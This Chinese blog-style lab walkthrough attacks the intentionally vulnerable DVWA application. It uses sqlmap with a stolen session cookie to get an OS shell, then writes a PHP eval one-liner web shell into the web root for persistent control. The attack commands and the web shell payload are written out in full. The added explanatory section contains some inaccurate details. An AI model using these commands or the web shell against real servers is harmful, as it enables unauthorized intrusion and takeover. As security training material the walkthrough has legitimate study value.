【渗透练习系列】DVWA的一次登录后通过Sqlmap拿到os-shell,命令执行写入一句话-01

一、前言

本次将通过DVWA靶机来展示怎样通过Sqlmap获取目标os-shell,得到命令执行权限,从而写入一句话木马,持续控制目标服务器。

二、测试

1.打开目标站点:http://192.200.30.126/DVWA/login.php,从网页后缀和wappalyzer浏览器插件来看,站点的编程语言为PHP。
在这里插入图片描述2.输入账号跟密码登录后台,同时开启Burp抓取http包。
获取登录后的Cookie值:
在这里插入图片描述3.找到存在SQL注入的模块。获取URL。

http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

在这里插入图片描述4.由于该页面是登录后,不能直接用SQLMAP跑,需要加入Cookie来注入。构造如下命令:

sqlmap.py -u "http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=43teu289ku4vi8g9updhua57o3" --batch

在这里插入图片描述这里可以看到是存在数字型注入的,可通过’–+进行闭合。

5.直接通过手工注入,爆出数据库路径为D:\phpstudy_pro\Extensions\MySQL5.7.26
看到站点通过phpstudy搭建,猜测web路径为:D:\phpstudy_pro\WWW
【注意】:通过sqlmap获取os-shell,需要知道站点的绝对路径。
在这里插入图片描述6.直接通过SQLMAP加载os-shell。执行如下命令:

sqlmap.py -u "http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=43teu289ku4vi8g9updhua57o3" --os-shell

在这里插入图片描述1).第一个选择,首先选择web支持的脚本语言。(之前已经知道网站是PHP语言,)
2).第二个选择,您希望sqlmap进一步尝试揭示完整路径吗? Y
3).第三个选择,302重定向到目标URL。 你想跟上吗? Y
4).第四个选择,你提供了一个HTTP Cookie头值,而目标URL在与你的Cookie头相交的HTTP Set-Cookie头中提供了自己的Cookie。 是否要在进一步的请求中合并它们? n
5).第五个选择,你想用什么作为可写目录?
[1] 常用路径枚举
[2]自定义路径
[3] 自定义枚举字典
[4] 蛮力枚举路径

这里选择2,使用之前猜测的web路径:D:\phpstudy_pro\WWW\,不过这里需要使用反斜杠:D:/phpstudy_pro/WWW/

7.获取到os-shell后,直接命令执行whoami,发现直接是system权限。
在这里插入图片描述
8.通过dir获取当前路径,D:\phpstudy_pro\WWW\路径下确实是DVWA网站的web路径。
在这里插入图片描述
9.直接通过echo写入一句话PHP木马,写入到web的根路径下。这里敲完命令就直接按回车。

echo "<?php @eval($_POST["shell"]);?>" > shell.php

在这里插入图片描述
10.直接通过蚁剑连接,测试连接成功。成功获取目标站点管理权限。
在这里插入图片描述在这里插入图片描述

### 图文步骤说明 #### 1. 准备工作 - **环境搭建**:确保已经安装好 DVWA(Damn Vulnerable Web Application),并且处于 low 安全等级,同时安装好 sqlmap 工具。 - **获取请求文件**:使用浏览器开发者工具(如 Chrome 的开发者工具),在 DVWA 的 sqli 模块中发起一个正常请求,然后将请求信息保存为 `request.txt` 文件。具体操作是在开发者工具的 Network 面板中,找到对应的请求,右键选择“Copy as cURL”,然后将内容粘贴到文本编辑器中保存为 `request.txt`。 #### 2. 执行命令 打开终端,切换到 `request.txt` 文件所在的目录,执行以下命令: ```bash sqlmap -r request.txt --os-shell ``` 此命令会让 sqlmap 读取 `request.txt` 中的请求信息,并尝试在该请求的基础上进行操作系统命令注入,以获取交互式命令 shell。 #### 3. 等待探测与注入 - sqlmap 会首先探测目标站点是否存在 SQL 注入漏洞。如果存在,它会进一步尝试获取数据库的相关信息,如数据库类型、表名、字段名等。 - 在探测过程中,会显示一系列的信息和进度,等待其完成。 #### 4. 获取交互式命令 -sqlmap 成功完成注入后,会提示你已经获取到操作系统的交互式命令 shell。此时,你可以在终端中输入各种操作系统命令,如 `ls` 查看目录列表,`cat /etc/passwd` 查看用户信息等。 ### 背后原理 在 DVWA 的 sqli 模块 low 等级下,代码对用户输入的 SQL 查询参数没有进行严格的过滤和验证,这就为 SQL 注入攻击提供了可乘之机。 #### SQL 注入原理 用户输入的参数直接拼接到 SQL 查询语句中,攻击者可以通过构造特殊的 SQL 语句来改变原查询的逻辑。例如,正常的查询语句可能是: ```sql SELECT * FROM users WHERE id = '1'; ``` 攻击者可以构造输入 `1' OR '1'='1`,使得查询语句变为: ```sql SELECT * FROM users WHERE id = '1' OR '1'='1'; ``` 这样,该查询会返回所有的用户记录,因为 `'1'='1'` 始终为真。 #### 操作系统命令注入原理 当攻击者发现 SQL 注入漏洞后,如果目标数据库所在的服务器允许执行系统命令(如 MySQL 的 `LOAD_FILE`、`system` 等函数),就可以通过 SQL 注入来执行操作系统命令。 `sqlmap -r request.txt --os-shell` 命令会自动完成以下步骤: - 检测 SQL 注入点:通过发送各种测试 payload 来判断目标是否存在 SQL 注入漏洞。 - 获取数据库信息:确定数据库类型、版本等信息,以便选择合适的注入方法。 - 构造注入语句:根据检测到的信息,构造能够执行操作系统命令的 SQL 注入语句。 - 执行命令:将构造好的注入语句发送到目标服务器,执行操作系统命令,并将结果返回。 通过以上步骤,攻击者就可以在目标服务器上获取交互式的操作系统命令 shell,实现对服务器的控制。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值